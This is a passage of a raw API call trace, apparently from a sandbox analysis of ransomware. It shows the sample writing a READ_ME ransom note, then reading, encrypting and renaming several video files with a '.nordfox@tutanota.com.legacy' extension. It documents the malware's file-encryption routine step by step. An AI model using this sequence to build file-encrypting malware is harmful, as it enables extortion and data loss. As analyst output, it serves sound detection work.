1 [0141.056] GetLastError () returned 0x0 [0141.056] SetLastError (dwErrCode=0x0) [0141.056] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x90) returned 0x611900 [0141.056] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x610180 [0141.057] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x90) returned 0x611738 [0141.057] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c33c8 [0141.057] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c33d8 [0141.057] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5538b0 [0141.057] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559270 [0141.057] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5538b0 | out: hHeap=0x520000) returned 1 [0141.057] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e87f0 [0141.057] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559270 | out: hHeap=0x520000) returned 1 [0141.057] GetLastError () returned 0x0 [0141.057] SetLastError (dwErrCode=0x0) [0141.057] GetLastError () returned 0x0 [0141.057] SetLastError (dwErrCode=0x0) [0141.057] GetLastError () returned 0x0 [0141.057] SetLastError (dwErrCode=0x0) [0141.057] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x60f1e0 [0141.057] CreateFileW (lpFileName="\\Users\\FD1HVy\\Videos\\-pkIr 0gswkCHrf_\\mlex1y-6OlsYQmwrNAN\\uP1BVZ1\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\videos\\-pkir 0gswkchrf_\\mlex1y-6olsyqmwrnan\\up1bvz1\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x798 [0141.058] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60f1e0 | out: hHeap=0x520000) returned 1 [0141.058] WriteFile (in: hFile=0x798, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0141.059] CloseHandle (hObject=0x798) returned 1 [0141.059] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e87f0 | out: hHeap=0x520000) returned 1 [0141.059] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c33d8 | out: hHeap=0x520000) returned 1 [0141.059] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c33c8 | out: hHeap=0x520000) returned 1 [0141.059] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x611738 | out: hHeap=0x520000) returned 1 [0141.059] FindNextFileW (in: hFindFile=0x60c4d8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4c90cc30, ftCreationTime.dwHighDateTime=0x1d4cb7f, ftLastAccessTime.dwLowDateTime=0x1c0caf50, ftLastAccessTime.dwHighDateTime=0x1d4c7ad, ftLastWriteTime.dwLowDateTime=0x1c0caf50, ftLastWriteTime.dwHighDateTime=0x1d4c7ad, nFileSizeHigh=0x0, nFileSizeLow=0x155f9, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="_3PJBCDXFfU0p.flv", cAlternateFileName="_3PJBC~1.FLV")) returned 1 [0141.059] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e93a8 | out: hHeap=0x520000) returned 1 [0141.059] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x553d30 [0141.059] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559490 [0141.059] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x553d30 | out: hHeap=0x520000) returned 1 [0141.060] GetLastError () returned 0x0 [0141.060] SetLastError (dwErrCode=0x0) [0141.060] GetLastError () returned 0x0 [0141.060] SetLastError (dwErrCode=0x0) [0141.060] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e9600 [0141.060] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559490 | out: hHeap=0x520000) returned 1 [0141.060] GetLastError () returned 0x0 [0141.060] SetLastError (dwErrCode=0x0) [0141.060] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574b38 [0141.060] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574b38 | out: hHeap=0x520000) returned 1 [0141.060] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa0) returned 0x60cd70 [0141.060] FindNextFileW (in: hFindFile=0x60c4d8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4c90cc30, ftCreationTime.dwHighDateTime=0x1d4cb7f, ftLastAccessTime.dwLowDateTime=0x1c0caf50, ftLastAccessTime.dwHighDateTime=0x1d4c7ad, ftLastWriteTime.dwLowDateTime=0x1c0caf50, ftLastWriteTime.dwHighDateTime=0x1d4c7ad, nFileSizeHigh=0x0, nFileSizeLow=0x155f9, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="_3PJBCDXFfU0p.flv", cAlternateFileName="_3PJBC~1.FLV")) returned 0 [0141.060] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa0) returned 0x60d4a8 [0141.060] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c5190 [0141.060] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c33f8 [0141.060] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c5190 | out: pbBuffer=0x5c5190) returned 1 [0141.060] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c33f8 | out: pbBuffer=0x5c33f8) returned 1 [0141.060] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Videos\\-pkIr 0gswkCHrf_\\mlex1y-6OlsYQmwrNAN\\_3PJBCDXFfU0p.flv", dwFileAttributes=0x80) returned 1 [0141.060] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa0) returned 0x60d550 [0141.060] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xf0) returned 0x60a5b0 [0141.060] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60d550 | out: hHeap=0x520000) returned 1 [0141.060] CreateFileW (lpFileName="\\Users\\FD1HVy\\Videos\\-pkIr 0gswkCHrf_\\mlex1y-6OlsYQmwrNAN\\_3PJBCDXFfU0p.flv" (normalized: "c:\\users\\fd1hvy\\videos\\-pkir 0gswkchrf_\\mlex1y-6olsyqmwrnan\\_3pjbcdxffu0p.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x798 [0141.061] GetFileSizeEx (in: hFile=0x798, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=87545) returned 1 [0141.061] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x155f9) returned 0x2e61f38 [0141.062] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x155f9) returned 0x2e77540 [0141.062] ReadFile (in: hFile=0x798, lpBuffer=0x2e61f38, nNumberOfBytesToRead=0x155f9, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2e61f38*, lpNumberOfBytesRead=0x2e1f9bc*=0x155f9, lpOverlapped=0x0) returned 1 [0141.065] SetFilePointer (in: hFile=0x798, lDistanceToMove=-87545, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0141.065] WriteFile (in: hFile=0x798, lpBuffer=0x2e77540*, nNumberOfBytesToWrite=0x155f9, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2e77540*, lpNumberOfBytesWritten=0x2e1f9bc*=0x155f9, lpOverlapped=0x0) returned 1 [0141.065] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e61f38 | out: hHeap=0x520000) returned 1 [0141.065] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e77540 | out: hHeap=0x520000) returned 1 [0141.067] SetFilePointer (in: hFile=0x798, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x155f9 [0141.067] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0141.067] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c5190*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c5190*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0141.068] WriteFile (in: hFile=0x798, lpBuffer=0x5c5190*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c5190*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0141.068] WriteFile (in: hFile=0x798, lpBuffer=0x5c33f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33f8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0141.068] CloseHandle (hObject=0x798) returned 1 [0141.068] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c5190 | out: hHeap=0x520000) returned 1 [0141.068] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c33f8 | out: hHeap=0x520000) returned 1 [0141.068] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Videos\\-pkIr 0gswkCHrf_\\mlex1y-6OlsYQmwrNAN\\_3PJBCDXFfU0p.flv" (normalized: "c:\\users\\fd1hvy\\videos\\-pkir 0gswkchrf_\\mlex1y-6olsyqmwrnan\\_3pjbcdxffu0p.flv"), lpNewFileName="\\Users\\FD1HVy\\Videos\\-pkIr 0gswkCHrf_\\mlex1y-6OlsYQmwrNAN\\_3PJBCDXFfU0p.flv.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\videos\\-pkir 0gswkchrf_\\mlex1y-6olsyqmwrnan\\_3pjbcdxffu0p.flv.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0141.075] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60a5b0 | out: hHeap=0x520000) returned 1 [0141.075] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60d4a8 | out: hHeap=0x520000) returned 1 [0141.075] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60cd70 | out: hHeap=0x520000) returned 1 [0141.075] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa0) returned 0x60dbe0 [0141.075] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c4a58 [0141.075] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3508 [0141.075] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0141.075] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3508 | out: pbBuffer=0x5c3508) returned 1 [0141.075] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Videos\\-pkIr 0gswkCHrf_\\mlex1y-6OlsYQmwrNAN\\KWuUA05i6Twd74DZ.mp4", dwFileAttributes=0x80) returned 1 [0141.076] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa0) returned 0x60d748 [0141.076] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c5298 [0141.076] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60d748 | out: hHeap=0x520000) returned 1 [0141.076] CreateFileW (lpFileName="\\Users\\FD1HVy\\Videos\\-pkIr 0gswkCHrf_\\mlex1y-6OlsYQmwrNAN\\KWuUA05i6Twd74DZ.mp4" (normalized: "c:\\users\\fd1hvy\\videos\\-pkir 0gswkchrf_\\mlex1y-6olsyqmwrnan\\kwuua05i6twd74dz.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x798 [0141.076] GetFileSizeEx (in: hFile=0x798, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=74100) returned 1 [0141.076] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x12174) returned 0x2e61f38 [0141.077] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x12174) returned 0x2e740b8 [0141.077] ReadFile (in: hFile=0x798, lpBuffer=0x2e61f38, nNumberOfBytesToRead=0x12174, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2e61f38*, lpNumberOfBytesRead=0x2e1f9bc*=0x12174, lpOverlapped=0x0) returned 1 [0141.080] SetFilePointer (in: hFile=0x798, lDistanceToMove=-74100, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0141.080] WriteFile (in: hFile=0x798, lpBuffer=0x2e740b8*, nNumberOfBytesToWrite=0x12174, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2e740b8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x12174, lpOverlapped=0x0) returned 1 [0141.080] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e61f38 | out: hHeap=0x520000) returned 1 [0141.080] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e740b8 | out: hHeap=0x520000) returned 1 [0141.080] SetFilePointer (in: hFile=0x798, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x12174 [0141.080] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0141.080] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0141.081] WriteFile (in: hFile=0x798, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0141.081] WriteFile (in: hFile=0x798, lpBuffer=0x5c3508*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3508*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0141.081] CloseHandle (hObject=0x798) returned 1 [0141.081] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c4a58 | out: hHeap=0x520000) returned 1 [0141.081] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3508 | out: hHeap=0x520000) returned 1 [0141.081] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Videos\\-pkIr 0gswkCHrf_\\mlex1y-6OlsYQmwrNAN\\KWuUA05i6Twd74DZ.mp4" (normalized: "c:\\users\\fd1hvy\\videos\\-pkir 0gswkchrf_\\mlex1y-6olsyqmwrnan\\kwuua05i6twd74dz.mp4"), lpNewFileName="\\Users\\FD1HVy\\Videos\\-pkIr 0gswkCHrf_\\mlex1y-6OlsYQmwrNAN\\KWuUA05i6Twd74DZ.mp4.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\videos\\-pkir 0gswkchrf_\\mlex1y-6olsyqmwrnan\\kwuua05i6twd74dz.mp4.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0141.083] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c5298 | out: hHeap=0x520000) returned 1 [0141.083] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60dbe0 | out: hHeap=0x520000) returned 1 [0141.083] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60dd30 | out: hHeap=0x520000) returned 1 [0141.083] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa0) returned 0x60d2b0 [0141.083] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c5298 [0141.083] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c33c8 [0141.083] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c5298 | out: pbBuffer=0x5c5298) returned 1 [0141.083] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c33c8 | out: pbBuffer=0x5c33c8) returned 1 [0141.083] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Videos\\-pkIr 0gswkCHrf_\\mlex1y-6OlsYQmwrNAN\\7XgmQhRKlDcmTo6.mkv", dwFileAttributes=0x80) returned 1 [0141.083] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa0) returned 0x60de80 [0141.083] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xf0) returned 0x60a7a0 [0141.083] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60de80 | out: hHeap=0x520000) returned 1 [0141.083] CreateFileW (lpFileName="\\Users\\FD1HVy\\Videos\\-pkIr 0gswkCHrf_\\mlex1y-6OlsYQmwrNAN\\7XgmQhRKlDcmTo6.mkv" (normalized: "c:\\users\\fd1hvy\\videos\\-pkir 0gswkchrf_\\mlex1y-6olsyqmwrnan\\7xgmqhrkldcmto6.mkv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x798 [0141.084] GetFileSizeEx (in: hFile=0x798, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=44765) returned 1 [0141.084] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xaedd) returned 0x612410 [0141.084] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xaedd) returned 0x2e61f38 [0141.084] ReadFile (in: hFile=0x798, lpBuffer=0x612410, nNumberOfBytesToRead=0xaedd, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x612410*, lpNumberOfBytesRead=0x2e1f9bc*=0xaedd, lpOverlapped=0x0) returned 1 [0141.085] SetFilePointer (in: hFile=0x798, lDistanceToMove=-44765, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0141.085] WriteFile (in: hFile=0x798, lpBuffer=0x2e61f38*, nNumberOfBytesToWrite=0xaedd, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2e61f38*, lpNumberOfBytesWritten=0x2e1f9bc*=0xaedd, lpOverlapped=0x0) returned 1 [0141.085] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x612410 | out: hHeap=0x520000) returned 1 [0141.085] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e61f38 | out: hHeap=0x520000) returned 1 [0141.085] SetFilePointer (in: hFile=0x798, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xaedd [0141.085] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0141.085] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c5298*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c5298*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0141.086] WriteFile (in: hFile=0x798, lpBuffer=0x5c5298*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c5298*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0141.086] WriteFile (in: hFile=0x798, lpBuffer=0x5c33c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0141.086] CloseHandle (hObject=0x798) returned 1 [0141.086] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c5298 | out: hHeap=0x520000) returned 1 [0141.086] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c33c8 | out: hHeap=0x520000) returned 1 [0141.086] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Videos\\-pkIr 0gswkCHrf_\\mlex1y-6OlsYQmwrNAN\\7XgmQhRKlDcmTo6.mkv" (normalized: "c:\\users\\fd1hvy\\videos\\-pkir 0gswkchrf_\\mlex1y-6olsyqmwrnan\\7xgmqhrkldcmto6.mkv"), lpNewFileName="\\Users\\FD1HVy\\Videos\\-pkIr 0gswkCHrf_\\mlex1y-6OlsYQmwrNAN\\7XgmQhRKlDcmTo6.mkv.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\videos\\-pkir 0gswkchrf_\\mlex1y-6olsyqmwrnan\\7xgmqhrkldcmto6.mkv.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0141.087] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60a7a0 | out: hHeap=0x520000) returned 1 [0141.087] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60d2b0 | out: hHeap=0x520000) returned 1 [0141.087] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60ddd8 | out: hHeap=0x520000) returned 1 [0141.087] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x90) returned 0x611868 [0141.087] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c5190 [0141.087] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3508 [0141.088] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c5190 | out: pbBuffer=0x5c5190) returned 1 [0141.088] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3508 | out: pbBuffer=0x5c3508) returned 1 [0141.088] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Videos\\-pkIr 0gswkCHrf_\\mlex1y-6OlsYQmwrNAN\\7kKn.mp4", dwFileAttributes=0x80) returned 1 [0141.088] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x90) returned 0x611e58 [0141.088] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xe0) returned 0x5638b8 [0141.088] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x611e58 | out: hHeap=0x520000) returned 1 [0141.088] CreateFileW (lpFileName="\\Users\\FD1HVy\\Videos\\-pkIr 0gswkCHrf_\\mlex1y-6OlsYQmwrNAN\\7kKn.mp4" (normalized: "c:\\users\\fd1hvy\\videos\\-pkir 0gswkchrf_\\mlex1y-6olsyqmwrnan\\7kkn.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x798 [0141.088] GetFileSizeEx (in: hFile=0x798, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=67467) returned 1 [0141.088] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1078b) returned 0x2e61f38 [0141.088] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1078b) returned 0x2e726d0 [0141.088] ReadFile (in: hFile=0x798, lpBuffer=0x2e61f38, nNumberOfBytesToRead=0x1078b, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2e61f38*, lpNumberOfBytesRead=0x2e1f9bc*=0x1078b, lpOverlapped=0x0) returned 1 [0141.089] SetFilePointer (in: hFile=0x798, lDistanceToMove=-67467, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0141.090] WriteFile (in: hFile=0x798, lpBuffer=0x2e726d0*, nNumberOfBytesToWrite=0x1078b, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2e726d0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x1078b, lpOverlapped=0x0) returned 1 [0141.090] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e61f38 | out: hHeap=0x520000) returned 1 [0141.090] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e726d0 | out: hHeap=0x520000) returned 1 [0141.090] SetFilePointer (in: hFile=0x798, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x1078b [0141.090] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0141.090] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c5190*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c5190*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0141.090] WriteFile (in: hFile=0x798, lpBuffer=0x5c5190*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c5190*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0141.090] WriteFile (in: hFile=0x798, lpBuffer=0x5c3508*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3508*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0141.090] CloseHandle (hObject=0x798) returned 1 [0141.091] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c5190 | out: hHeap=0x520000) returned 1 [0141.091] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3508 | out: hHeap=0x520000) returned 1 [0141.091] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Videos\\-pkIr 0gswkCHrf_\\mlex1y-6OlsYQmwrNAN\\7kKn.mp4" (normalized: "c:\\users\\fd1hvy\\videos\\-pkir 0gswkchrf_\\mlex1y-6olsyqmwrnan\\7kkn.mp4"), lpNewFileName="\\Users\\FD1HVy\\Videos\\-pkIr 0gswkCHrf_\\mlex1y-6OlsYQmwrNAN\\7kKn.mp4.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\videos\\-pkir 0gswkchrf_\\mlex1y-6olsyqmwrnan\\7kkn.mp4.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0141.092] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5638b8 | out: hHeap=0x520000) returned 1 [0141.092] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x611868 | out: hHeap=0x520000) returned 1 [0141.092] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e6a40 | out: hHeap=0x520000) returned 1 [0141.092] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x567508 [0141.092] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 